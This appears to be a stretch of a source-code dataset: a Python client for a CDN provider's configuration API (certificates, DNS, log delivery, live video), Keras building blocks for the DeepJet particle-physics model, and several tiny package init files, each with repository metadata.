instance :param uuid: str """ self.logger.debug(f"Deleting httpcs service instance with uuid [{uuid}]") request_path = f'svcinst/httpcs/{uuid}' return self._common_delete(request_path) def inherit_httpcs_service_instance(self, config, parent_uuid): """ Allows creates httpcs service instance with inheritance from parent config :param config: json :param parent_uuid: str """ self.logger.debug("Inheriting delivery service instance") request_path = f'svcinst/httpcs/inheritance?parentId={parent_uuid}' return self._common_post(request_path, body=config) def rollback_httpcs_service_instance(self, uuid, version): """ Allows rollback config to a specific historical version :param uuid: str :param version: int """ self.logger.debug(f"Posting config rollback for service instance [{uuid}]") request_path = f'svcinst/httpcs/{uuid}/rollbackTo/{version}' return self._common_post(request_path, body=None) def clone_httpcs_service_instance(self, published_host, source_host, parent_uuid): """ Allows clone configuration in correct way with new published_host, source_host :param published_host: str :param source_host: str :param parent_uuid: str """ config = self.get_httpcs_service_instance(parent_uuid) assert config.status_code == 200, 'An error occurs' config = config.json() del config['revision'] del config['shortname'] del config['status'] del config['uuid'] config['body']['httpcsSvcInstance']['sourceHostname'] = source_host config['body']['httpcsSvcInstance']['publishedHostname'] = published_host return self.inherit_httpcs_service_instance(config, parent_uuid=parent_uuid) # -------------------- Customer Certificates-------------------- # def list_customer_certificates(self, shortname, size=None, page=None): """ Retrieves the customer SSL certificates for the provided shortname :param shortname: str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug(f'Getting customer - [{shortname}] Certificates') request_path = f'customerCertificate/shortname/{shortname}' return self._common_get(request_path, size=size, page=page) def get_customer_certificate(self, uuid): """ Retrieves the customer SSL certificate via UUID :param uuid: str """ self.logger.debug(f'Getting customer: [{uuid}] Certificate') request_path = f'customerCertificate/{uuid}' return self._common_get(request_path) def create_customer_certificate(self, cert_config): """ Creates the customer SSL certificate :param cert_config: json """ self.logger.debug('Creating customer certificate') request_path = 'customerCertificate' return self._common_post(request_path, body=cert_config) def validate_customer_certificate(self, cert_config): """ Validates the customer SSL certificate :param cert_config: json """ self.logger.debug('Validating customer certificate') request_path = 'customerCertificate/validate' return self._common_post(request_path, body=cert_config) def update_customer_certificate(self, uuid, cert_config): """ Updates the customer SSL certificate :param uuid: str :param cert_config: json """ self.logger.debug(f'Updating customer Certificate with uuid [{uuid}]') request_path = f'customerCertificate/{uuid}' return self._common_put(request_path, body=cert_config) def delete_customer_certificate(self, uuid): """ Deletes the customer SSL certificate :param uuid: str """ self.logger.debug(f'Deleting customer Certificate with uuid [{uuid}]') request_path = f'customerCertificate/{uuid}' return self._common_delete(request_path) def list_customer_certificate_versions(self, uuid): """ List of customer SSL certificate versions or specific historical version :param uuid: str :param version: int """ self.logger.debug(f'Getting customer Certificate [{uuid}] versions') request_path = f'customerCertificate/{uuid}/versions' return self._common_get(request_path) def get_customer_certificate_versions(self, uuid, version): """ List of customer SSL certificate versions or specific historical version :param uuid: str :param version: int """ self.logger.debug(f'Getting customer Certificate [{uuid}] versions') request_path = f'customerCertificate/{uuid}/versions/{version}' return self._common_get(request_path) def publish_customer_certificate(self, uuid): """ Publish customer SSL certificate to the LLNW CDN Edge :param uuid: str """ self.logger.debug('Publishing customer Certificate') request_path = f'customerCertificate/{uuid}/publish' return self._common_put(request_path) def withdraw_customer_certificate(self, uuid): """ Withdraw customer SSL certificate from the LLNW CDN Edge :param uuid: str """ self.logger.debug('Withdrawing customer Certificate') request_path = f'customerCertificate/{uuid}/withdraw' return self._common_delete(request_path) # -------------------- edgeRules -------------------- # def list_edgerules(self, shortname): """ Return list of EdgeRules per shortname :param shortname: str """ self.logger.debug(f'Getting edgerules for shortname [{shortname}]') request_path = f'edgerules/shortname/{shortname}' return self._common_get(request_path) def get_edgerule(self, shortname, uuid): """ Returns specific edgeRule :param shortname: str :param uuid: str """ self.logger.debug('Getting edgerules for shortname [{shortname}]') request_path = f'edgerules/shortname/{shortname}/{uuid}' return self._common_get(request_path) # -------------------- Ipacc -------------------- # def list_customer_ipacc(self, shortname): """ Retrieve list of all customer IP Access Control Configuration (IPACC) :param shortname: str """ self.logger.debug(f'Getting IPACC for shortname [{shortname}]') request_path = f'ipaclist/shortname/{shortname}' return self._common_get(request_path) def search_customer_ipacc(self, shortname, parameters=None): """ Search customer IP Access Control Configuration :param shortname: str :param parameters: str """ self.logger.debug(f'Searching for IPACC for shortname [{shortname}]') request_path = f'ipaclist/shortname/{shortname}/search' return self._common_get(request_path, parameters=parameters) def get_customer_ipacc(self, uuid): """ Retrieve specific customer IP Access Control Configuration :param uuid: str """ self.logger.debug(f'Getting IPACC with UUID [{uuid}]') request_path = f'ipaclist/{uuid}' return self._common_get(request_path) def get_customer_ipacc_blocks(self, uuid): """ Retrieve specific customer IP Access Control Configuration blocks :param uuid: """ self.logger.debug(f'Getting IPACC with UUID [{uuid}]') request_path = f'ipaclist/{uuid}/blocks' return self._common_get(request_path) # -------------------- DNS -------------------- # def list_dns_zones(self, shortname): self.logger.debug(f'Getting DNS zones for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone' return self._common_get(request_path) def get_dns_zone(self, shortname, zone_id): self.logger.debug(f'Getting DNS zones for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone_id}' return self._common_get(request_path) def create_dns_resource(self, shortname, resource): self.logger.debug(f'Posting DNS resource for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource' return self._common_post(request_path, body=resource) def list_dns_resource(self, shortname, size=None): self.logger.debug(f'Getting DNS resources for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource' return self._common_get(request_path, limit=size) def get_dns_resource(self, shortname, resource_id): self.logger.debug(f'Getting DNS resources for shortname {shortname} and resource {resource_id}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}' return self._common_get(request_path) def update_dns_resource_by_id(self, shortname, resource_id, resource): self.logger.debug(f'Updating DNS resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}' return self._common_put(request_path, body=resource) def delete_dns_resource_by_id(self, shortname, resource_id): self.logger.debug(f'Deleting DNS resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}' return self._common_delete(request_path) def create_dns_resource_health_check(self, shortname, resource_id, health_check): self.logger.debug(f'Posting DNS health check for resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}/healthcheck' return self._common_post(request_path, body=health_check) def list_dns_resource_health_check(self, shortname, resource_id, size=None): self.logger.debug(f'List of DNS healthcheck for resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}/healthcheck' return self._common_get(request_path, limit=size) def get_dns_resource_health_check(self, shortname, resource_id, health_check_id): self.logger.debug(f'Getting DNS healthcheck for resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}/healthcheck/{health_check_id}' return self._common_get(request_path) def update_dns_resource_health_check_by_id(self, shortname, resource_id, health_check_id, health_check): self.logger.debug(f'Updating DNS healthcheck with id {health_check_id} for resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}/healthcheck/{health_check_id}' return self._common_put(request_path, body=health_check) def delete_dns_resource_health_check_by_id(self, shortname, resource_id, health_check_id): self.logger.debug(f'Deleting DNS healthcheck with id {health_check_id} for resource with id {resource_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/resource/{resource_id}/healthcheck/{health_check_id}' return self._common_delete(request_path) def create_dns_failover(self, shortname, zone, failover): self.logger.debug(f'Posting DNS failover for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover' return self._common_post(request_path, body=failover) def list_dns_failover(self, shortname, zone, size=None): self.logger.debug(f'List DNS failover for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover' return self._common_get(request_path, limit=size) def get_dns_failover(self, shortname, zone, failover_id): self.logger.debug(f'Getting DNS failover for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover/{failover_id}' return self._common_get(request_path) def update_dns_failover_by_id(self, shortname, zone, failover_id, failover): self.logger.debug(f'Updating DNS failover with id {failover_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover/{failover_id}' return self._common_put(request_path, body=failover) def delete_dns_failover_by_id(self, shortname, zone, failover_id): self.logger.debug(f'Deleting DNS failover with id {failover_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover/{failover_id}' return self._common_delete(request_path) def create_dns_resource_to_failover(self, shortname, zone, failover_id, resource): self.logger.debug(f'Posting DNS resource to failover with id {failover_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover/{failover_id}/resource' return self._common_post(request_path, body=resource) def get_dns_resource_to_failover(self, shortname, zone, failover_id): self.logger.debug(f'Getting DNS resources from failover with id {failover_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover/{failover_id}/resource' return self._common_get(request_path) def delete_dns_resource_to_failover(self, shortname, zone, failover_id, resource_id): self.logger.debug(f'Deleting DNS resource with id {resource_id} from ' f'failover with id {failover_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/failover/{failover_id}/resource/{resource_id}' return self._common_delete(request_path) def list_dns_rule(self, shortname, size=None): self.logger.debug(f'List DNS rule for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/rule' return self._common_get(request_path, limit=size) def get_dns_rule(self, shortname, rule_id=None): self.logger.debug(f'Getting DNS rule for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/rule/{rule_id}' return self._common_get(request_path) def create_dns_rule(self, shortname, rule): self.logger.debug(f'Posting DNS rule for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/rule' return self._common_post(request_path, body=rule) def update_dns_rule_by_id(self, shortname, rule_id, rule): self.logger.debug(f'Updating DNS rule with id {rule_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/rule/{rule_id}' return self._common_put(request_path, body=rule) def delete_dns_rule_by_id(self, shortname, rule_id): self.logger.debug(f'Deleting DNS rule with id {rule_id} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/rule/{rule_id}' return self._common_delete(request_path) def create_dns_director_policy(self, shortname, zone, dir_policy): self.logger.debug(f'Posting DNS director policy for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/directorpolicy' return self._common_post(request_path, body=dir_policy) def list_dns_director_policy(self, shortname, zone): self.logger.debug(f'List of DNS director policy for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/directorpolicy' return self._common_get(request_path) def get_dns_director_policy(self, shortname, zone, dir_policy_id): self.logger.debug(f'Getting DNS director policy for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/directorpolicy/{dir_policy_id}' return self._common_get(request_path) def update_dns_director_policy_by_id(self, shortname, zone, dir_policy_id, dir_policy): self.logger.debug(f'Updating DNS director policy with id {dir_policy_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/directorpolicy/{dir_policy_id}' return self._common_put(request_path, body=dir_policy) def delete_dns_director_policy_by_id(self, shortname, zone, dir_policy_id): self.logger.debug('Deleting DNS director policy with id {dir_policy_id} for zone {zone} for shortname {shortname}') request_path = f'epdns/shortname/{shortname}/zone/{zone}/directorpolicy/{dir_policy_id}' return self._common_delete(request_path) def get_dns_health_checks(self): self.logger.debug('Getting DNS health checks') request_path = 'epdns/healthcheck' return self._common_get(request_path) def list_dns_job(self, size=None): self.logger.debug('List of DNS job status') request_path = 'epdns/job' return self._common_get(request_path, limit=size) def get_dns_job(self, job_id=None): self.logger.debug('Getting DNS job status') request_path = f'epdns/job/{job_id}' return self._common_get(request_path) def get_dns_country_geo_metadata(self): self.logger.debug('Getting geo metadata for countries') request_path = 'metadata/geo/countries' return self._common_get(request_path) def get_dns_state_geo_metadata(self, country_id): self.logger.debug(f'Getting geo metadata for states from county with id: {country_id}') request_path = f'metadata/geo/countries/{country_id}/states' return self._common_get(request_path) # -------------------- LDS -------------------- # def list_lds(self, shortname, size=None, page=None): """ Retrieve list of customer lds configs :param shortname: str :param size: int :param page: int """ self.logger.debug(f"Getting LDS for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/config' return self._common_get(request_path, size=size, page=page) def get_lds(self, shortname, uuid, size=None, page=None): """ Retrieve customer lds config via UUID :param shortname: :param uuid: :param size: :param page: """ self.logger.debug(f"Getting LDS for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/config/{uuid}' return self._common_get(request_path, size=size, page=page) def validate_lds(self, shortname, config): """ Validates the lds config (without creating) :param shortname: :param config: """ self.logger.debug(f"Validating LDS for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/config/validate' return self._common_post(request_path, body=config) def create_lds(self, shortname, config): """ Creates lds configuration :param shortname: :param config: """ self.logger.debug(f"Posting LDS for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/config' return self._common_post(request_path, body=config) def update_lds(self, shortname, uuid, config): """ Updates lds configuration. Full update :param shortname: str :param uuid: str :param config: json """ self.logger.debug(f"Updating LDS with uuid [{uuid}] for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/config/{uuid}' return self._common_put(request_path, body=config) def delete_lds(self, shortname, uuid): """ Delete lds configuration :param shortname: :param uuid: """ self.logger.debug(f"Deleting LDS with uuid [{uuid}] for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/config/{uuid}' return self._common_delete(request_path) def list_lds_fields(self, shortname): """ Retrieves available lds fields :param shortname: """ self.logger.debug(f"Getting LDS Fields for shortname [{shortname}]") request_path = f'lds/shortname/{shortname}/field' return self._common_get(request_path) def list_lds_compression_type(self): """ Retrieves available lds compression types """ self.logger.debug("Getting allowed LDS compression types") request_path = 'lds/compression-type' return self._common_get(request_path) def list_lds_storage_location(self): """ Retrieves available lds storage location """ self.logger.debug("Getting allowed LDS storage locations") request_path = 'lds/storage-location' return self._common_get(request_path) # -------------------- Video Live Schedule -------------------- # def list_live_video_schedule(self, shortname): """ :param shortname: """ self.logger.debug(f"Getting all live video schedules for [{shortname}]") request_path = f'live/recording/shortname/{shortname}/schedules' return self._common_get(request_path) def get_live_video_schedule(self, shortname, schedule_id): """ :param shortname: :param schedule_id: """ self.logger.debug(f"Getting live video schedule [{schedule_id}] for [{shortname}]") request_path = f'live/recording/shortname/{shortname}/schedules/{schedule_id}' return self._common_get(request_path) def create_live_video_schedule(self, shortname, config): """ :param shortname: :param config: """ self.logger.debug(f"Creating live video schedules for [{shortname}]") request_path = f'live/recording/shortname/{shortname}/schedules' return self._common_post(request_path, body=config) def update_live_video_schedule(self, shortname, schedule_id, config): """ :param shortname: :param schedule_id: :param config: """ self.logger.debug(f"Updating live video schedule [{schedule_id}] for [{shortname}]") request_path = f'live/recording/shortname/{shortname}/schedules/{schedule_id}' return self._common_put(request_path, body=config) def delete_live_video_schedule(self, shortname, schedule_id): """ :param shortname: :param schedule_id: """ self.logger.debug(f"Deleting live video schedule [{schedule_id}] for [{shortname}]") request_path = f'live/recording/shortname/{shortname}/schedules/{schedule_id}' return self._common_delete(request_path) # -------------------- Video Live Slots -------------------- # def get_live_video_overview(self, shortname): """ :param shortname: """ self.logger.debug(f'Getting live video overview for [{shortname}]') request_path = f'live/shortname/{shortname}/overview' return self._common_get(request_path) def list_live_video_slot(self, shortname): """ :param shortname: """ self.logger.debug(f'Getting all live video slots for [{shortname}]') request_path = f'live/shortname/{shortname}/slots' return self._common_get(request_path) def get_live_video_slot(self, shortname, slot_id): """ :param shortname: :param slot_id: """ self.logger.debug(f'Getting live video slot [{slot_id}] for [{shortname}]') request_path = f'live/shortname/{shortname}/slots/{slot_id}' return self._common_get(request_path) def get_live_video_slot_status(self, shortname, slot_id): """ :param shortname: :param slot_id: """ self.logger.debug(f'Getting live video slot [{slot_id}] status for [{shortname}]') request_path = f'live/shortname/{shortname}/slots/{slot_id}/status' return self._common_get(request_path) def create_live_video_slot(self, shortname, config): """ :param shortname: :param config: """ self.logger.debug(f'Creation live video slots for [{shortname}]') request_path = f'live/shortname/{shortname}/slots' return self._common_post(request_path, body=config) def delete_live_video_slot(self, shortname, slot_id): """ :param shortname: :param slot_id: """ self.logger.debug(f'Getting live video slot [{slot_id}] for [{shortname}]') request_path = f'live/shortname/{shortname}/slots/{slot_id}' return self._common_delete(request_path) # -------------------- Video WEBRTC Slots -------------------- # def list_webrtc_video_slot(self, shortname): """ :param shortname: """ self.logger.debug(f'Getting all webrtc video slots for [{shortname}]') request_path = f'webrtc/shortname/{shortname}/slots' return self._common_get(request_path) def get_webrtc_video_slot(self, shortname, slot_id): """ :param shortname: :param slot_id: """ self.logger.debug(f'Getting webrtc video slot [{slot_id}] for [{shortname}]') request_path = f'webrtc/shortname/{shortname}/slots/{slot_id}' return self._common_get(request_path) def create_webrtc_video_slot(self, shortname, config): """ :param shortname: :param config: """ self.logger.debug(f'Creating webrtc video slots for [{shortname}]') request_path = f'webrtc/shortname/{shortname}/slots' return self._common_post(request_path, body=config) def delete_webrtc_video_slot(self, shortname, slot_id): """ :param shortname: :param slot_id: """ self.logger.debug(f'Deleting webrtc video slot [{slot_id}] for [{shortname}]') request_path = f'webrtc/shortname/{shortname}/slots/{slot_id}' return self._common_delete(request_path)

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b73aeace7770834c0af26cbb650b68ffdd9c46f5

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py

Python

qcportal/wavefunctions/__init__.py

bennybp/QCPortal

c1d0f4e239c9363875680e93b4357c1680d6825c

[ "BSD-3-Clause" ]

null

qcportal/wavefunctions/__init__.py

bennybp/QCPortal

c1d0f4e239c9363875680e93b4357c1680d6825c

[ "BSD-3-Clause" ]

null

qcportal/wavefunctions/__init__.py

bennybp/QCPortal

c1d0f4e239c9363875680e93b4357c1680d6825c

[ "BSD-3-Clause" ]

1

2022-03-18T16:37:54.000Z

from .models import WavefunctionProperties

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9,813

py

Python

modules/models/buildingBlocks.py

dntaylor/DeepJet

249610b3b80543c8c84f5ba795bbb07c097f8150

[ "Apache-2.0" ]

1

2018-02-16T13:13:09.000Z

modules/models/buildingBlocks.py

dntaylor/DeepJet

249610b3b80543c8c84f5ba795bbb07c097f8150

[ "Apache-2.0" ]

null

modules/models/buildingBlocks.py

dntaylor/DeepJet

249610b3b80543c8c84f5ba795bbb07c097f8150

[ "Apache-2.0" ]

5

2017-11-03T15:51:27.000Z

2019-05-29T14:45:23.000Z

''' standardised building blocks for the models ''' from keras.layers import Dense, Dropout, Flatten,Convolution2D, Convolution1D from keras.layers.pooling import MaxPooling2D from keras.layers.normalization import BatchNormalization def block_deepFlavourBTVConvolutions(charged,vertices,dropoutRate,active=True,batchnorm=False,batchmomentum=0.6): ''' deep Flavour convolution part. ''' cpf=charged if active: cpf = Convolution1D(64, 1, kernel_initializer='lecun_uniform', activation='relu', name='cpf_conv0')(cpf) if batchnorm: cpf = BatchNormalization(momentum=batchmomentum ,name='cpf_batchnorm0')(cpf) cpf = Dropout(dropoutRate,name='cpf_dropout0')(cpf) cpf = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='cpf_conv1')(cpf) if batchnorm: cpf = BatchNormalization(momentum=batchmomentum,name='cpf_batchnorm1')(cpf) cpf = Dropout(dropoutRate,name='cpf_dropout1')(cpf) cpf = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='cpf_conv2')(cpf) if batchnorm: cpf = BatchNormalization(momentum=batchmomentum,name='cpf_batchnorm2')(cpf) cpf = Dropout(dropoutRate,name='cpf_dropout2')(cpf) cpf = Convolution1D(8, 1, kernel_initializer='lecun_uniform', activation='relu' , name='cpf_conv3')(cpf) else: cpf = Convolution1D(1,1, kernel_initializer='zeros',trainable=False)(cpf) vtx = vertices if active: vtx = Convolution1D(64, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv0')(vtx) if batchnorm: vtx = BatchNormalization(momentum=batchmomentum,name='vtx_batchnorm0')(vtx) vtx = Dropout(dropoutRate,name='vtx_dropout0')(vtx) vtx = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv1')(vtx) if batchnorm: vtx = BatchNormalization(momentum=batchmomentum,name='vtx_batchnorm1')(vtx) vtx = Dropout(dropoutRate,name='vtx_dropout1')(vtx) vtx = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv2')(vtx) if batchnorm: vtx = BatchNormalization(momentum=batchmomentum,name='vtx_batchnorm2')(vtx) vtx = Dropout(dropoutRate,name='vtx_dropout2')(vtx) vtx = Convolution1D(8, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv3')(vtx) else: vtx = Convolution1D(1,1, kernel_initializer='zeros',trainable=False)(vtx) return cpf,vtx def block_deepFlavourConvolutions(charged,neutrals,vertices,dropoutRate,active=True,batchnorm=False,batchmomentum=0.6): ''' deep Flavour convolution part. ''' cpf=charged if active: cpf = Convolution1D(64, 1, kernel_initializer='lecun_uniform', activation='relu', name='cpf_conv0')(cpf) if batchnorm: cpf = BatchNormalization(momentum=batchmomentum ,name='cpf_batchnorm0')(cpf) cpf = Dropout(dropoutRate,name='cpf_dropout0')(cpf) cpf = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='cpf_conv1')(cpf) if batchnorm: cpf = BatchNormalization(momentum=batchmomentum,name='cpf_batchnorm1')(cpf) cpf = Dropout(dropoutRate,name='cpf_dropout1')(cpf) cpf = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='cpf_conv2')(cpf) if batchnorm: cpf = BatchNormalization(momentum=batchmomentum,name='cpf_batchnorm2')(cpf) cpf = Dropout(dropoutRate,name='cpf_dropout2')(cpf) cpf = Convolution1D(8, 1, kernel_initializer='lecun_uniform', activation='relu' , name='cpf_conv3')(cpf) else: cpf = Convolution1D(1,1, kernel_initializer='zeros',trainable=False)(cpf) npf=neutrals if active: npf = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='npf_conv0')(npf) if batchnorm: npf = BatchNormalization(momentum=batchmomentum,name='npf_batchnorm0')(npf) npf = Dropout(dropoutRate,name='npf_dropout0')(npf) npf = Convolution1D(16, 1, kernel_initializer='lecun_uniform', activation='relu', name='npf_conv1')(npf) if batchnorm: npf = BatchNormalization(momentum=batchmomentum,name='npf_batchnorm1')(npf) npf = Dropout(dropoutRate,name='npf_dropout1')(npf) npf = Convolution1D(4, 1, kernel_initializer='lecun_uniform', activation='relu' , name='npf_conv2')(npf) else: npf = Convolution1D(1,1, kernel_initializer='zeros',trainable=False)(npf) vtx = vertices if active: vtx = Convolution1D(64, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv0')(vtx) if batchnorm: vtx = BatchNormalization(momentum=batchmomentum,name='vtx_batchnorm0')(vtx) vtx = Dropout(dropoutRate,name='vtx_dropout0')(vtx) vtx = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv1')(vtx) if batchnorm: vtx = BatchNormalization(momentum=batchmomentum,name='vtx_batchnorm1')(vtx) vtx = Dropout(dropoutRate,name='vtx_dropout1')(vtx) vtx = Convolution1D(32, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv2')(vtx) if batchnorm: vtx = BatchNormalization(momentum=batchmomentum,name='vtx_batchnorm2')(vtx) vtx = Dropout(dropoutRate,name='vtx_dropout2')(vtx) vtx = Convolution1D(8, 1, kernel_initializer='lecun_uniform', activation='relu', name='vtx_conv3')(vtx) else: vtx = Convolution1D(1,1, kernel_initializer='zeros',trainable=False)(vtx) return cpf,npf,vtx def block_deepFlavourDense(x,dropoutRate,active=True,batchnorm=False,batchmomentum=0.6): if active: x= Dense(200, activation='relu',kernel_initializer='lecun_uniform', name='df_dense0')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm0')(x) x = Dropout(dropoutRate,name='df_dense_dropout0')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense1')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm1')(x) x = Dropout(dropoutRate,name='df_dense_dropout1')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense2')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm2')(x) x = Dropout(dropoutRate,name='df_dense_dropout2')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense3')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm3')(x) x = Dropout(dropoutRate,name='df_dense_dropout3')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense4')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm4')(x) x = Dropout(dropoutRate,name='df_dense_dropout4')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense5')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm5')(x) x = Dropout(dropoutRate,name='df_dense_dropout5')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense6')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm6')(x) x = Dropout(dropoutRate,name='df_dense_dropout6')(x) x= Dense(100, activation='relu',kernel_initializer='lecun_uniform', name='df_dense7')(x) if batchnorm: x = BatchNormalization(momentum=batchmomentum,name='df_dense_batchnorm7')(x) x = Dropout(dropoutRate,name='df_dense_dropout7')(x) else: x= Dense(1,kernel_initializer='zeros',trainable=False,name='df_dense_off')(x) return x def block_SchwartzImage(image,dropoutRate,active=True): ''' returns flattened output ''' if active: image = Convolution2D(64, (8,8) , border_mode='same', activation='relu', kernel_initializer='lecun_uniform', name='swz_conv0')(image) image = MaxPooling2D(pool_size=(2, 2), name='swz_maxpool0')(image) image = Dropout(dropoutRate)(image) image = Convolution2D(64, (4,4) , border_mode='same', activation='relu', kernel_initializer='lecun_uniform', name='swz_conv1')(image) image = MaxPooling2D(pool_size=(2, 2), name='swz_maxpool1')(image) image = Dropout(dropoutRate)(image) image = Convolution2D(64, (4,4) , border_mode='same', activation='relu', kernel_initializer='lecun_uniform', name='swz_conv2')(image) image = MaxPooling2D(pool_size=(2, 2), name='swz_maxpool2')(image) image = Dropout(dropoutRate)(image) image = Flatten()(image) else: #image=Cropping2D(crop)(image)#cut almost all of the 20x20 pixels image = Flatten()(image) image = Dense(1,kernel_initializer='zeros',trainable=False, name='swz_conv_off')(image)#effectively multipy by 0 return image

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3f833d7dd5d15d137085bfdf3e8a583e74a0c50b

34

py

Python

libs/yowsup/yowsup/yowsup/demos/cli/__init__.py

akshitpradhan/TomHack

837226e7b38de1140c19bc2d478eeb9e379ed1fd

[ "MIT" ]

22

2017-07-14T20:01:17.000Z

2022-03-08T14:22:39.000Z

libs/yowsup/yowsup/yowsup/demos/cli/__init__.py

akshitpradhan/TomHack

837226e7b38de1140c19bc2d478eeb9e379ed1fd

[ "MIT" ]

6

2017-07-14T21:03:50.000Z

2021-06-10T19:08:32.000Z

libs/yowsup/yowsup/yowsup/demos/cli/__init__.py

akshitpradhan/TomHack

837226e7b38de1140c19bc2d478eeb9e379ed1fd

[ "MIT" ]

13

2017-07-14T20:13:14.000Z

2020-11-12T08:06:05.000Z

from .stack import YowsupCliStack

17

33

0.852941

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6

3f9666b147c927fb18ea6ce4ba7505f1aaa1b7f0

32

py

Python

package/wuphf/abc/__init__.py

derekmerck/python-wuphf

8e26252f61e4aff3a44364bd46e6e1aab97acd9d

[ "MIT" ]

15

2019-02-12T23:26:09.000Z

2021-12-21T08:53:58.000Z

package/wuphf/abc/__init__.py

derekmerck/python-wuphf

8e26252f61e4aff3a44364bd46e6e1aab97acd9d

[ "MIT" ]

2

2019-01-23T21:13:12.000Z

2019-06-28T15:45:51.000Z

package/wuphf/abc/__init__.py

derekmerck/python-wuphf

8e26252f61e4aff3a44364bd46e6e1aab97acd9d

[ "MIT" ]

6

2019-01-23T20:22:50.000Z

2022-02-03T03:27:04.000Z

from .messenger import Messenger

32

0.875

4

32

7

0.75

0

0.09375

32

1

32

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0

true

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1

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6

3fd97a61a594b9fa99aa78a78247f62edb0975e4

29

py

Python

annex/__init__.py

rwightman/tensorflow-annex

da17339e8e5a9ab9b66dac2edc8ece8133227713

[ "Apache-2.0" ]

8

2016-10-09T17:51:42.000Z

2022-03-09T09:43:27.000Z

annex/__init__.py

rwightman/tensorflow-annex

da17339e8e5a9ab9b66dac2edc8ece8133227713

[ "Apache-2.0" ]

1

2017-02-12T16:33:04.000Z

2017-02-17T15:17:04.000Z

annex/__init__.py

rwightman/tensorflow-annex

da17339e8e5a9ab9b66dac2edc8ece8133227713

[ "Apache-2.0" ]

4

2017-02-12T15:37:54.000Z

2020-06-08T17:31:26.000Z

import dataset import record

9.666667

14

0.862069

4

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6.25

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0

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29

2

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1

0

1

0

1

0

6

3fe4f69f108128eafa7f6443a9d9d1dbfa914132

42

py

Python

PythonCurso01/aula121_docstrings/exemplo02/main.py

AlissonAnjos21/Aprendendo

9454d9e53ef9fb8bc61bf481b6592164f5bf8695

[ "MIT" ]

null

PythonCurso01/aula121_docstrings/exemplo02/main.py

AlissonAnjos21/Aprendendo

9454d9e53ef9fb8bc61bf481b6592164f5bf8695

[ "MIT" ]

null

PythonCurso01/aula121_docstrings/exemplo02/main.py

AlissonAnjos21/Aprendendo

9454d9e53ef9fb8bc61bf481b6592164f5bf8695

[ "MIT" ]

null

import varias_linhas help(varias_linhas)

10.5

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6

